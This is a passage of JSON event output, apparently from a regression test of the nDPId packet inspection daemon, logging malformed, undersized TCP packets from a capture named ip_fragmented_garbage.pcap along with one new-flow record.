-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172728} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172741} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172753} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172766} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":5910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172779} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172794} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172807} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172820} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172832} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172847} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172860} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172872} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172885} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172898} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172910} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172925} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172939} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172952} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172965} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172978} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172991} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173003} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173016} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173028} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173040} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173056} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173069} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173081} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173094} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173108} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173120} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173132} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173145} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173160} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173172} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173221} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173235} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173248} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173260} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030173272} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244030173286} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":5947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiVeJiooKiZe"} 00763{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":20,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244030473370,"flow_src_last_pkt_time":1534244030473370,"flow_dst_last_pkt_time":1534244030473370,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244030473370,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":9508,"dst_port":8998,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_src_last_pkt_time":1534244030473370,"flow_dst_last_pkt_time":1534244030473370,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiYtwwAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473391} 